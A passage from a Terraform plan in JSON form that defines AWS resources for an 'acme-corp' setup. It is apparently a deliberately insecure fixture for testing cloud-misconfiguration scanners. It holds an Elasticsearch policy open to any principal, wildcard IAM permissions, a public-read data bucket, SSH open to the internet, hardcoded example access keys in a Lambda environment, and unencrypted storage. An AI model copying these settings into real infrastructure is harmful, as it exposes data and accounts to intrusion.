\\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n            \"domain_name\": \"tg-corp-es\"\n          }\n        },\n        {\n          \"address\": \"aws_elb.weblb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elb\",\n          \"name\": \"weblb\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"access_logs\": [],\n            \"connection_draining\": true,\n            \"connection_draining_timeout\": 400,\n            \"cross_zone_load_balancing\": true,\n            \"health_check\": [\n              {\n                \"healthy_threshold\": 2,\n                \"interval\": 30,\n                \"target\": \"HTTP:8000/\",\n                \"timeout\": 3,\n                \"unhealthy_threshold\": 2\n              }\n            ],\n            \"idle_timeout\": 400,\n            \"listener\": [\n              {\n                \"instance_port\": 8000,\n                \"instance_protocol\": \"http\",\n                \"lb_port\": 80,\n                \"lb_protocol\": \"http\",\n                \"ssl_certificate_id\": \"\"\n              }\n            ],\n            \"name\": \"weblb-terraform-elb\",\n            \"name_prefix\": null,\n            \"tags\": {\n              \"Name\": \"foobar-terraform-elb\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_flow_log.vpcflowlogs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_flow_log\",\n          \"name\": \"vpcflowlogs\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"eni_id\": null,\n            \"iam_role_arn\": null,\n            \"log_destination_type\": \"s3\",\n            \"max_aggregation_interval\": 600,\n            \"subnet_id\": null,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-flowlogs\"\n            },\n            \"traffic_type\": \"ALL\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_access_key.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_access_key\",\n          \"name\": \"user\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"pgp_key\": null,\n            \"user\": \"123456789123-acme-corp-user\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_instance_profile.ec2profile\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_instance_profile\",\n          \"name\": \"ec2profile\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"123456789123-acme-corp-profile\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"role\": \"123456789123-acme-corp-role\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.ec2role\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"ec2role\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\n    \\\"Version\\\": \\\"2012-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n            \\\"Principal\\\": {\\n               \\\"Service\\\": \\\"ec2.amazonaws.com\\\"\\n            },\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Sid\\\": \\\"\\\"\\n        }\\n    ]\\n}\\n\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"name\": \"123456789123-acme-corp-role\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-role\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_eks\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_eks\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"name\": \"123456789123-acme-corp-iam-for-eks\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": null\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_lambda\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"lambda.amazonaws.com\\\"\\n      },\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Sid\\\": \\\"\\\"\\n    }\\n  ]\\n}\\n\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"name\": \"123456789123-acme-corp-analysis-lambda\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": null\n          }\n        },\n        {\n          \"address\": \"aws_iam_role_policy.ec2policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy\",\n          \"name\": \"ec2policy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"123456789123-acme-corp-policy\",\n            \"name_prefix\": null,\n            \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"s3:*\\\",\\n        \\\"ec2:*\\\",\\n        \\\"rds:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSClusterPolicy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSClusterPolicy\",\n            \"role\": \"123456789123-acme-corp-iam-for-eks\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSServicePolicy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSServicePolicy\",\n            \"role\": \"123456789123-acme-corp-iam-for-eks\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_user.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user\",\n          \"name\": \"user\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"force_destroy\": true,\n            \"name\": \"123456789123-acme-corp-user\",\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-user\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_iam_user_policy.userpolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user_policy\",\n          \"name\": \"userpolicy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"excess_policy\",\n            \"name_prefix\": null,\n            \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"ec2:*\\\",\\n        \\\"s3:*\\\",\\n        \\\"lambda:*\\\",\\n        \\\"cloudwatch:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\",\n            \"user\": \"123456789123-acme-corp-user\"\n          }\n        },\n        {\n          \"address\": \"aws_instance.db_app\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"db_app\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"ami\": \"ami-0f0a6d00932023856\",\n            \"credit_specification\": [],\n            \"disable_api_termination\": null,\n            \"ebs_optimized\": null,\n            \"get_password_data\": false,\n            \"hibernation\": null,\n            \"iam_instance_profile\": \"123456789123-acme-corp-profile\",\n            \"instance_initiated_shutdown_behavior\": null,\n            \"instance_type\": \"t2.nano\",\n            \"monitoring\": null,\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-dbapp\"\n            },\n            \"timeouts\": null,\n            \"user_data_base64\": null\n          }\n        },\n        {\n          \"address\": \"aws_instance.web_host\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"web_host\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"ami\": \"ami-09a5b0b7edf08843d\",\n            \"credit_specification\": [],\n            \"disable_api_termination\": null,\n            \"ebs_optimized\": null,\n            \"get_password_data\": false,\n            \"hibernation\": null,\n            \"iam_instance_profile\": null,\n            \"instance_initiated_shutdown_behavior\": null,\n            \"instance_type\": \"t2.nano\",\n            \"monitoring\": null,\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-ec2\"\n            },\n            \"timeouts\": null,\n            \"user_data\": \"44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2\",\n            \"user_data_base64\": null\n          }\n        },\n        {\n          \"address\": \"aws_internet_gateway.web_igw\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_internet_gateway\",\n          \"name\": \"web_igw\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-igw\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_kms_alias.logs_key_alias\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_alias\",\n          \"name\": \"logs_key_alias\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"alias/123456789123-acme-corp-logs-bucket-key\",\n            \"name_prefix\": null\n          }\n        },\n        {\n          \"address\": \"aws_kms_key.logs_key\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_key\",\n          \"name\": \"logs_key\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"customer_master_key_spec\": \"SYMMETRIC_DEFAULT\",\n            \"deletion_window_in_days\": 7,\n            \"description\": \"123456789123-acme-corp-logs bucket key\",\n            \"enable_key_rotation\": false,\n            \"is_enabled\": true,\n            \"key_usage\": \"ENCRYPT_DECRYPT\",\n            \"tags\": null\n          }\n        },\n        {\n          \"address\": \"aws_lambda_function.analysis_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_lambda_function\",\n          \"name\": \"analysis_lambda\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"dead_letter_config\": [],\n            \"description\": null,\n            \"environment\": [\n              {\n                \"variables\": {\n                  \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n                  \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n                }\n              }\n            ],\n            \"file_system_config\": [],\n            \"filename\": \"resources/lambda_function_payload.zip\",\n            \"function_name\": \"123456789123-acme-corp-analysis\",\n            \"handler\": \"exports.test\",\n            \"kms_key_arn\": null,\n            \"layers\": null,\n            \"memory_size\": 128,\n            \"publish\": false,\n            \"reserved_concurrent_executions\": -1,\n            \"runtime\": \"nodejs12.x\",\n            \"s3_bucket\": null,\n            \"s3_key\": null,\n            \"s3_object_version\": null,\n            \"source_code_hash\": \"Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=\",\n            \"tags\": null,\n            \"timeout\": 3,\n            \"timeouts\": null,\n            \"vpc_config\": []\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"apply_immediately\": true,\n            \"backup_retention_period\": 5,\n            \"cluster_identifier\": \"neptunedb1\",\n            \"deletion_protection\": null,\n            \"enable_cloudwatch_logs_exports\": null,\n            \"engine\": \"neptune\",\n            \"final_snapshot_identifier\": null,\n            \"iam_database_authentication_enabled\": false,\n            \"iam_roles\": null,\n            \"neptune_cluster_parameter_group_name\": \"default.neptune1\",\n            \"port\": 8182,\n            \"preferred_backup_window\": \"07:00-09:00\",\n            \"replication_source_identifier\": null,\n            \"skip_final_snapshot\": true,\n            \"snapshot_identifier\": null,\n            \"storage_encrypted\": false,\n            \"tags\": null,\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster_instance.default[0]\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster_instance\",\n          \"name\": \"default\",\n          \"index\": 0,\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"apply_immediately\": true,\n            \"auto_minor_version_upgrade\": true,\n            \"engine\": \"neptune\",\n            \"instance_class\": \"db.t3.medium\",\n            \"neptune_parameter_group_name\": \"default.neptune1\",\n            \"port\": 8182,\n            \"promotion_tier\": 0,\n            \"publicly_accessible\": false,\n            \"tags\": null,\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster_snapshot.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster_snapshot\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"db_cluster_snapshot_identifier\": \"resourcetestsnapshot1\",\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_network_interface.web-eni\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_network_interface\",\n          \"name\": \"web-eni\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": null,\n            \"private_ips\": [\n              \"172.16.10.100\"\n            ],\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-primary_network_interface\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_route.public_internet_gateway\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route\",\n          \"name\": \"public_internet_gateway\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"destination_cidr_block\": \"0.0.0.0/0\",\n            \"destination_ipv6_cidr_block\": null,\n            \"timeouts\": {\n              \"create\": \"5m\",\n              \"delete\": null\n            },\n            \"transit_gateway_id\": null,\n            \"vpc_peering_connection_id\": null\n          }\n        },\n        {\n          \"address\": \"aws_route_table.web_rtb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table\",\n          \"name\": \"web_rtb\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-rtb\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"gateway_id\": null\n          }\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc2\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"gateway_id\": null\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.data\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"public-read\",\n            \"bucket\": \"123456789123-acme-corp-data\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-data\"\n            },\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.data_science\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data_science\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-data-science\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [\n              {\n                \"target_prefix\": \"log/\"\n              }\n            ],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": null,\n            \"versioning\": [\n              {\n                \"enabled\": true,\n                \"mfa_delete\": false\n              }\n            ],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.financials\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"financials\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-financials\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-financials\"\n            },\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.flowbucket\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"flowbucket\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-flowlogs\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-flowlogs\"\n            },\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.logs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"logs\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"log-delivery-write\",\n            \"bucket\": \"123456789123-acme-corp-logs\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [\n              {\n                \"rule\": [\n                  {\n                    \"apply_server_side_encryption_by_default\": [\n                      {\n                        \"sse_algorithm\": \"aws:kms\"\n                      }\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-logs\"\n            },\n            \"versioning\": [\n              {\n                \"enabled\": true,\n                \"mfa_delete\": false\n              }\n            ],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket.operations\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"operations\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"123456789123-acme-corp-operations\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": true,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-operations\"\n            },\n            \"versioning\": [\n              {\n                \"enabled\": true,\n                \"mfa_delete\": false\n              }\n            ],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket_object.data_object\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket_object\",\n          \"name\": \"data_object\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"cache_control\": null,\n            \"content\": null,\n            \"content_base64\": null,\n            \"content_disposition\": null,\n            \"content_encoding\": null,\n            \"content_language\": null,\n            \"force_destroy\": false,\n            \"key\": \"customer-master.xlsx\",\n            \"metadata\": null,\n            \"object_lock_legal_hold_status\": null,\n            \"object_lock_mode\": null,\n            \"object_lock_retain_until_date\": null,\n            \"source\": \"resources/customer-master.xlsx\",\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-customer-master\"\n            },\n            \"website_redirect\": null\n          }\n        },\n        {\n          \"address\": \"aws_security_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"description\": \"Managed by Terraform\",\n            \"name\": \"123456789123-acme-corp-rds-sg\",\n            \"name_prefix\": null,\n            \"revoke_rules_on_delete\": false,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-rds-sg\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_security_group.web-node\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"web-node\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"description\": \"123456789123-acme-corp Security Group\",\n            \"egress\": [\n              {\n                \"cidr_blocks\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"description\": \"\",\n                \"from_port\": 0,\n                \"ipv6_cidr_blocks\": [],\n                \"prefix_list_ids\": [],\n                \"protocol\": \"-1\",\n                \"security_groups\": [],\n                \"self\": false,\n                \"to_port\": 0\n              }\n            ],\n            \"ingress\": [\n              {\n                \"cidr_blocks\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"description\": \"\",\n                \"from_port\": 22,\n                \"ipv6_cidr_blocks\": [],\n                \"prefix_list_ids\": [],\n                \"protocol\": \"tcp\",\n                \"security_groups\": [],\n                \"self\": false,\n                \"to_port\": 22\n              },\n              {\n                \"cidr_blocks\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"description\": \"\",\n                \"from_port\": 80,\n                \"ipv6_cidr_blocks\": [],\n                \"prefix_list_ids\": [],\n                \"protocol\": \"tcp\",\n                \"security_groups\": [],\n                \"self\": false,\n                \"to_port\": 80\n              }\n            ],\n            \"name\": \"123456789123-acme-corp-sg\",\n            \"name_prefix\": null,\n            \"revoke_rules_on_delete\": false,\n            \"tags\": null,\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_security_group_rule.egress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"egress\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 2,\n          \"values\": {\n            \"cidr_blocks\": [\n              \"0.0.0.0/0\"\n            ],\n            \"description\": null,\n            \"from_port\": 0,\n            \"ipv6_cidr_blocks\": null,\n            \"prefix_list_ids\": null,\n            \"protocol\": \"-1\",\n            \"self\": false,\n            \"to_port\": 0,\n            \"type\": \"egress\"\n          }\n        },\n        {\n          \"address\": \"aws_security_group_rule.ingress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"ingress\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 2,\n          \"values\": {\n            \"cidr_blocks\": [\n              \"172.16.0.0/16\"\n            ],\n            \"description\": null,\n            \"from_port\": 3306,\n            \"ipv6_cidr_blocks\": null,\n            \"prefix_list_ids\": null,\n            \"protocol\": \"tcp\",\n            \"self\": false,\n            \"to_port\": 3306,\n            \"type\": \"ingress\"\n          }\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet1\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet1\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2a\",\n            \"cidr_block\": \"10.10.10.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-eks-subnet\",\n              \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet2\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2b\",\n            \"cidr_block\": \"10.10.11.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-eks-subnet2\",\n              \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2a\",\n            \"cidr_block\": \"172.16.10.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-subnet\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet2\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_ipv6_address_on_creation\": false,\n            \"availability_zone\": \"us-west-2b\",\n            \"cidr_block\": \"172.16.11.0/24\",\n            \"ipv6_cidr_block\": null,\n            \"map_public_ip_on_launch\": true,\n            \"outpost_arn\": null,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-subnet2\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_volume_attachment.ebs_att\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_volume_attachment\",\n          \"name\": \"ebs_att\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"device_name\": \"/dev/sdh\",\n            \"force_detach\": null,\n            \"skip_destroy\": null\n          }\n        },\n        {\n          \"address\": \"aws_vpc.eks_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"eks_vpc\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_generated_ipv6_cidr_block\": false,\n            \"cidr_block\": \"10.10.0.0/16\",\n            \"enable_dns_hostnames\": true,\n            \"enable_dns_support\": true,\n            \"instance_tenancy\": \"default\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-eks-vpc\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_vpc.web_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"web_vpc\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"assign_generated_ipv6_cidr_block\": false,\n            \"cidr_block\": \"172.16.0.0/16\",\n            \"enable_dns_hostnames\": true,\n            \"enable_dns_support\": true,\n            \"instance_tenancy\": \"default\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-vpc\"\n            }\n          }\n        },\n        {\n          \"address\": \"null_resource.push_image\",\n          \"mode\": \"managed\",\n          \"type\": \"null_resource\",\n          \"name\": \"push_image\",\n          \"provider_name\": \"null\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"triggers\": null\n          }\n        